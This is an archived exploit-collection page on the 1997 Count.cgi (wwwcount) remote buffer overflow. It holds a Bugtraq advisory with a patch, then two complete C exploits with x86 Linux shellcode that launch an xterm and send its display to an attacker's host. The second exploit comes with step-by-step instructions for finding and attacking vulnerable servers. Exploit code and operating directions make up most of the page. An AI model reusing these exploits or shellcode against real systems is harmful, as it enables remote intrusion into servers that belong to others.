Count.cgi remote overflow
Description: | standard buffer overflow, this time in Count.cgi |
Author: | Nicolas Dubee <dube0866@eurobretagne.fr> |
Compromise: | local or remote execution of arbitrary code |
Vulnerable Systems: | Those running a vulnerable version of Muhammad A. Muquit's wwwcount |
Date: | 16 October 1997 |
Date: Thu, 16 Oct 1997 20:23:42 +0200
From: Nicolas Dubee <dube0866@eurobretagne.fr>
To: BUGTRAQ@NETSPACE.ORG
Subject: wwwcount remote exploit
Ok.
Well, this wasn't supposed to be released so early but, anyway,
as we're on the subject (wwwcount)...
>
>From: Razvan Dragomirescu <drazvan@kappa.ro>
>Subject: Security flaw in Count.cgi (wwwcount)
>To: BUGTRAQ@NETSPACE.ORG
>
>-----BEGIN PGP SIGNED MESSAGE-----
>Hash: SHA1
>
>Hi all,
>
>I have found a vulnerability in Muhammad A. Muquit's wwwcount version 2.3
[...]
>And one more thing. A search on AltaVista for "Count.cgi" returned about
>200.000 matches. I do not know how many of them were versions 2.3.... but
>even 50.000 vulnerable computers do not make me feel comfortable.
>
>Be good.
>Razvan
>
>P.S. You can find information about wwwcount at
>http://www.fccc.edu/users/muquit/Count.html
>
>
>- --
>Razvan Dragomirescu
>
plaguez security advisory n.11
Count.cgi (wwwcount) remote exploit
Program: Count.cgi (wwwcount), a popular CGI web counter
Version: Tested on 2.3, others probably affected as well (?)
OS: All
Impact: a buffer can be overflowed in the Count.cgi program,
allowing remote http users to execute arbitrary commands
on the target machine.
Hi,
there are at least two buffer overflow vulnerabilities in wwwcount, a
widely used CGI web counter.
The most harmful occurs when the QUERY_STRING environment variable
(which reflects the url asked by the www client) is copied to a
fixed-size dynamic buffer. Another one occures only when the counter
is compiled with a special authentication option, and may not
be exploitable.
Fix:
----
As they are exploitable remotely, these holes are extremely serious
and should be addressed as soon as possible. A temporary fix, if the
sources are not available, is to remove the exec permissions
(chmod -x) of the Count.cgi executable (located in your httpd's cgi-bin/
directory).
The actual fix is pretty simple. Apply the following patch to the
file main.c. Environment variables will be cutted down to their first
600 chars. The idea of this patch can also be adapted for other
purposes, mainly to develop a generic cgi-bin wraper.
58a59,72
> void wrapit(char *envvar,int esize)
> {
> char *tmp,*tmp2;
> tmp=malloc(esize+1);
> if(tmp==NULL)
> {
> Debug2("Can't allocate wrapper memory buffer.",0,0);
> exit(1);
> }
> strncpy(tmp,(tmp2=getenv(envvar))?tmp2:"",esize-1);
> tmp[esize]='\0';
> setenv(envvar,tmp,1);
> }
>
89c103
< char
---
> char
185a200,207
> /*
> * avoid any buffer overflow problem by cutting some env variables
> */
>
> wrapit("QUERY_STRING",600);
> wrapit("HTTP_REFERER",600);
> wrapit("HTTP_USER_AGENT",600);
>
Exploit:
--------
here is a _sample_ exploit, designed to be used on localhost. Needs lots of
work to be really usefull, remote stack prediction is still a big problem.
------------cutcut-------8<-----------------------------------------------
/*
Count.cgi (wwwcount) linux test exploit
(c) 05/1997 by plaguez - dube0866@eurobretagne.fr
Contact me if you manage to improve this crap.
This program needs drastic changes to be useable.
If you can't understand how to modify it for your own purpose,
please do not consider trying it.
*/
#include <stdio.h>
#include <stdlib.h>
char shell[]=
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\xeb\x3c\x5e\x31\xc0\x89\xf1\x8d"
"\x5e\x18\x88\x46\x2c\x88\x46\x30"
"\x88\x46\x39\x88\x46\x4b\x8d\x56"
"\x20\x89\x16\x8d\x56\x2d\x89\x56"
"\x04\x8d\x56\x31\x89\x56\x08\x8d"
"\x56\x3a\x89\x56\x0c\x8d\x56\x10"
"\x89\x46\x10\xb0\x0b\xcd\x80\x31"
"\xdb\x89\xd8\x40\xcd\x80\xe8\xbf"
"\xff\xff\xff\xff\xff\xff\xff\xff"
"\xff\xff\xff\xff\xff\xff\xff\xff"
"\xff\xff\xff\xff\xff\xff\xff\xff"
"\xff\xff\xff"
"/usr/X11R6/bin/xterm0-ut0-display0"
"127.000.000.001:00"
"\xff\xff\xff\xff\xff\xff\xff\xff"
"\xff\xff\xff\xff\xff\xff\xff\xff"
"\xff\xff\xff\xff\xff\xff\xff\xff"
"\xff\xff\xff";
/*
Assembly stuff for the previous buffer.
This basically implements an execve syscall, by creating
an array of char* (needs to put a null byte at the end of
all strings).
Here we gonna exec an xterm and send it to our host.
(you can't simply exec a shell due to the cgi proto).
jmp 60
popl %esi
xorl %eax,%eax # efface eax
movl %esi,%ecx # recupere l'adresse du buffer
leal 0x18(%esi),%ebx # recupere l'adresse des chaines
movb %al,0x2c(%esi) # cree les chaines azt
movb %al,0x30(%esi) #
movb %al,0x39(%esi)
movb %al,0x4b(%esi)
leal 0x20(%esi),%edx # cree le char**
movl %edx,(%esi)
leal 0x2d(%esi),%edx
movl %edx,0x4(%esi)
leal 0x31(%esi),%edx
movl %edx,0x8(%esi)
leal 0x3a(%esi),%edx
movl %edx,0xc(%esi)
leal 0x10(%esi),%edx
movl %eax,0x10(%esi)
movb $0xb,%al
int $0x80 # passe en mode kernel
xorl %ebx,%ebx # termine proprement (exit())
movl %ebx,%eax # si jamais le execve() foire.
inc %eax #
int $0x80 #
call -65 # retourne au popl en empilant l'adresse de la chaine
.byte 0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff
.byte 0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff
.byte 0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff
.ascii \"/usr/X11R6/bin/xterm0\" # 44
.ascii \"-ut0\" # 48
.ascii \"-display0\" # 57 au ;
.ascii \"127.000.000.001:00\" # 75 (total des chaines)
.byte 0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff
.byte 0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff
...
*/
char qs[7000];
char chaine[]="user=a";
unsigned long getesp() {
// asm("movl %esp,%eax");
return 0xbfffee38;
}
void main(int argc, char **argv) {
int compt;
long stack;
stack=getesp();
if(argc>1)
stack+=atoi(argv[1]);
for(compt=0;compt<4104;compt+=4) {
qs[compt+0] = stack & 0x000000ff;
qs[compt+1] = (stack & 0x0000ff00) >> 8;
qs[compt+2] = (stack & 0x00ff0000) >> 16;
qs[compt+3] = (stack & 0xff000000) >> 24;
}
strcpy(qs,chaine);
qs[strlen(chaine)]=0x90;
qs[4104]= stack&0x000000ff;
qs[4105]=(stack&0x0000ff00)>>8;
qs[4106]=(stack&0x00ff0000)>>16;
qs[4107]=(stack&0xff000000)>>24;
qs[4108]= stack&0x000000ff;
qs[4109]=(stack&0x0000ff00)>>8;
qs[4110]=(stack&0x00ff0000)>>16;
qs[4111]=(stack&0xff000000)>>24;
qs[4112]= stack&0x000000ff;
qs[4113]=(stack&0x0000ff00)>>8;
qs[4114]=(stack&0x00ff0000)>>16;
qs[4115]=(stack&0xff000000)>>24;
qs[4116]= stack&0x000000ff;
qs[4117]=(stack&0x0000ff00)>>8;
qs[4118]=(stack&0x00ff0000)>>16;
qs[4119]=(stack&0xff000000)>>24;
qs[4120]= stack&0x000000ff;
qs[4121]=(stack&0x0000ff00)>>8;
qs[4122]=(stack&0x00ff0000)>>16;
qs[4123]=(stack&0xff000000)>>24;
qs[4124]= stack&0x000000ff;
qs[4125]=(stack&0x0000ff00)>>8;
qs[4126]=(stack&0x00ff0000)>>16;
qs[4127]=(stack&0xff000000)>>24;
qs[4128]= stack&0x000000ff;
qs[4129]=(stack&0x0000ff00)>>8;
qs[4130]=(stack&0x00ff0000)>>16;
qs[4131]=(stack&0xff000000)>>24;
strcpy((char*)&qs[4132],shell);
/* Choose what to do here */
printf("GET /cgi-bin/Count.cgi?%s\n\n",qs);
/*fprintf(stderr,"\n\nadresse: %x0x\n",stack);
printf("GET /cgi-bin/Count.cgi?%s HTTP/1.0\nUser-Agent: %x\n\n",qs,stack);
setenv("QUERY_STRING",qs,1);
system("/usr/local/etc/httpd/cgi-bin/Count.cgi");
system("/bin/sh");*/
}
-------------------------------------8<-------------------------
later,
-plaguez
dube0866@eurobretagne.fr
BTW here is my _NEW_ pgp key. The old one went to another dimension in
in an hd crash (NEVER ^C the e2defrag shit !).
Sorry for the ppl who are sending encrypted mails with the old key.
This time I'll make backups.
Type Bits/KeyID Date User ID
pub 1024/FF7CBA31 1997/10/08 plaguez <dube0866@eurobretagne.fr>
-----BEGIN PGP PUBLIC KEY BLOCK-----
Version: 2.6.3i
mQCNAzQ7utYAAAEEAOJCaB92rTsUutk5TYpIIFDevSGutQzMaUpsoOqTbUHHzdXE
XoqP1FKYQ1kBQHqwy8KFFW71PLpRh2ruBQp7KN9TAF/aVsvq7vrY3gbgfBKjd5Mb
7at2G2wxWXAIY/Pse8MhyVWNomM74F4fGYxZ3SakBUva3tBV57sRa5D/fLoxAAUR
tCJwbGFndWV6IDxkdWJlMDg2NkBldXJvYnJldGFnbmUuZnI+iQCVAwUQNDu61rsR
a5D/fLoxAQHRBwQAv7pSTXs1giB1HcLs5gJQhMVodYPO6QsCS235UGJOLQ9K2azT
9MH8FDrzFWALf2MqgPSIsV5njedgDjURreF9+Hvoto0zj7ACE62NHB1UdyuiprFy
KhY8xtBarVSJ6qWWyM+Fld6bY3sagDCsrsyqdUvp5Enl9ASEFlJSUCH05X4=
=CFE6
-----END PGP PUBLIC KEY BLOCK-----
Date: Wed, 7 Jan 1998 18:23:05 +0100 (MET)
From: XXX_p6mip300
To: fyodor@nmap.org
Subject: re-hi
Hi again,
[big cut --Fyodor]
By the way, i read on your page that Count.cgi release 2.3 had a bug,
allowing to run code.
I made an exploit (thanx to everyone for their sources, helping me to
make my own, special thanx to Aleph1 for p49-14).
Here is the source i give you :
--------------------------------------------------------------------------
#define XOR_VALUE (0x55+0x44)
/* on cree la variable QUERY_STRING qui contient tout */
char code[]= {
0x66, 0xb8, 0xeb, 0x05, //movw $0x5eb,%ax
0xe8, 0xf9, 0xff, 0xff, 0xff, //call 8048076 <_start+2>
0x5e, //popl %esi
0x83, 0xc6, 18, //addl $0x34,%esi 18
0x89, 0xf3, //movl %esi,%ebx
0x31, 0xc0, //xorl %eax,%eax
0xb0, 37+6+9+21+16, //!!this byte (18): we add size of arg3 //movb $0x35,%al
//la1
0x80, 0x36, XOR_VALUE, //xorb $XOR_VALUE,(%esi)
0x46, //incl %esi
0xfe, 0xc8, //decb %al
0x75, 0xf8, //jne 8048087
0x83, 0xc3, 37, //addl $37, %ebx
0x01, 0x5e, 0xf0, //addl %ebx,0xfffffff0(%esi)
0x01, 0x5e, 0xf4, //addl %ebx,0xfffffff4(%esi)
0x01, 0x5e, 0xf8, //addl %ebx,0xfffffff8(%esi)
0xb0, 0x0c, //movb $0xc,%al
0xfe, 0xc8, //decb %al
0x83, 0xc3, 6+9, //!!this byte (45): we add size of arg3 //addl $0x12,%ebx
0x89, 0xd9, //movl %ebx,%ecx
0x83, 0xc1, 0x15, //addl $0x15,%ecx //ici 0x15= longueur de "/usr/X11R6/bin/xterm"
0x89, 0xca, //movl %ecx,%edx
0x83, 0xc2, 0x0c, //addl $0xc,%edx
0xcd, 0x80, //int $0x80 0xeb 0xfe
0x31, 0xc0, //xorl %eax,%eax
0xfe, 0xc0, //incb %al
0xcd, 0x80, //int $0x80
0
};
char *arg1="xterm", //6 bytes
*arg2="-display", //9 bytes
*arg3=":0", //3 bytes (can be overriden by user)
*nom="/usr/X11R6/bin/xterm"; //21 bytes
unsigned int arg[]={0, 6, 15, 0}; //16 bytes
#include
#include
#include
#define RET_ADDR_COUNT 100
#define NOP_COUNT 200
main(int nb, char **val)
{
unsigned int i;
unsigned int rac=RET_ADDR_COUNT;
unsigned int nc=NOP_COUNT;
char *f, *g;
int len_f=0;
char *name=val[1];
if (nb>2) rac=atoi(val[2]);
if (nb>3) nc=atoi(val[3]);
i=(unsigned int)&i;
if (nb>4) i+=atoi(val[4]);
if (nb>5) arg3=val[5];
//we now have to add size of arg3 in the code
{
int s=strlen(arg3)+1;
code[18]+=s;
code[45]+=s;
}
fprintf (stderr, "rac=%u, nc=%u, i=%x\n", rac, nc, i);
fprintf(stdout, "le first = nom _COMPLET_ du prog a tester\n\n");
fprintf (stdout, "premier param : nb de copies de l'add de ret\n"
"deuxieme param : nb de nop\n"
"troisieme param : un truc a adder a l'adresse de retour"
"(en + ou en - suivant le signe\n"
"quatrieme param : le nom du screen ou aller (ex : 134.157.116.61:0)\n");
f=(char *)malloc(4*rac+nc+strlen(code)+strlen(arg1)+strlen(arg2)+strlen(arg3)+strlen(nom)+4+
4*4+1);
if (!f) {fprintf(stderr, "no mem\n"); exit(1);}
{
/* on ecrit l'adresse de retour n fois (guessed) */
unsigned int j;
for (j=0; j>8)&255));
sprintf(f+len_f++, "%c", (char)((i>>16)&255));
sprintf(f+len_f++, "%c", (char)((i>>24)&255));
}
/* puis des nops */
for (j=0; j=27) sprintf(f+len_f++, "%c", (char)((int)code[j++] ^ XOR_VALUE));
else sprintf(f+len_f++, "%c", code[j++]);
/* then the strings */
/* first : arg1 */
j=0;
while(arg1[j]) sprintf(f+len_f++, "%c", (char)((int)arg1[j++] ^ XOR_VALUE));
f[len_f++]=0 ^ XOR_VALUE; /*don't forget this 0*/
/* then arg2 */
j=0;
while(arg2[j]) sprintf(f+len_f++, "%c", (char)((int)arg2[j++] ^ XOR_VALUE));
f[len_f++]=0 ^ XOR_VALUE;
/* then arg3 */
j=0;
while(arg3[j]) sprintf(f+len_f++, "%c", (char)((int)arg3[j++] ^ XOR_VALUE));
f[len_f++]=0 ^ XOR_VALUE;
/* then nom */
j=0;
while(nom[j]) sprintf(f+len_f++, "%c", (char)((int)nom[j++] ^ XOR_VALUE));
f[len_f++]=0 ^ XOR_VALUE;
/* nom, we gotta put the 4 unsigned int */
for (j=0; j<4; j++) {
sprintf(f+len_f++, "%c", (char)(((arg[j])&255) ^ XOR_VALUE));
sprintf(f+len_f++, "%c", (char)(((arg[j]>>8)&255) ^ XOR_VALUE));
sprintf(f+len_f++, "%c", (char)(((arg[j]>>16)&255) ^ XOR_VALUE));
sprintf(f+len_f++, "%c", (char)(((arg[j]>>24)&255) ^ XOR_VALUE));
}
f[len_f]=0;
}
g=(char *)malloc(25+4*rac+nc+strlen(code)+strlen(arg1)+strlen(arg2)+strlen(arg3)+strlen(nom)+4+
4*4+1);
if (!g) {fprintf(stderr, "no mem\n"); exit(1);}
strcpy(g, "QUERY_STRING=user=xxx");
strcpy(g+strlen(g), f);
if (putenv(g)) {fprintf (stderr, "erreur de putenv"); exit(2);}
{
/* on cree un fichier test.html */
FILE *fi=fopen("test.html", "wb");
if (fi) {
fprintf(fi, "Sed's fuck Count.cgi exploit !\n"
"hack me !", f);
fclose (fi);
}
}
execl(name, name, 0);
fprintf(stderr, "erreur de exec\n");
}
---------------------------------------------------------------------------
not pretty code at all, but it works.
How to use it :
well, you've got to find a server under linux, with Count.cgi release 2.3
(or 2.2, it works too).
Then you go put its name in the source file (i know i could have done
an exploit that take that as an argument, but you know...)
at the line "fprintf(fi, ".....", f);".
Then you make a gcc -o that that.c,
and here you are.
After that, you run it, let's say :
./that nothing 1400 1000 1000 "your ip:0"
(where "your ip:0" is your screen number, so don't forget
to xhost + before)
the "nothing" arg has to be written, 'cause if you read the code,
i put the var QUERY_STRING, that was used with the end execl, to
exploit Count.cgi on my sytem, to find good values for the
buffer overflow.
The values 1400, 1000 and 1000 work pretty well. Try others
if you want, but it should be allright with it.
Under my linux, it gives an i=bffffd04. That's good.
It must not be more than c0000000, cause it won't work anymore.
Then, the prog has created the file test.html.
You take your favorite netscape, and go to this file.
You should see : "hack me".
You click on it.
You wait.
And nothing !
You probably will have the mess : "Host ome not in the auth block
of the config file".
So, you go to the line of the url, you change "user=xxx"
by "user=xyx"
and push enter.
This time netscape won't send HTTP_REFERER, or it will be a good
value for Count.cgi, and no trouble, the xterm will arrive.
[cut --Fyodor]
The master index of all exploits is available
here (Very large file)
Or you can pick your favorite operating system:
This page is part of Fyodor's exploit
world.
For a free program to automate scanning your network for vulnerable
hosts and services, check out my network mapping tool, nmap. Or try these Insecure.Org resources: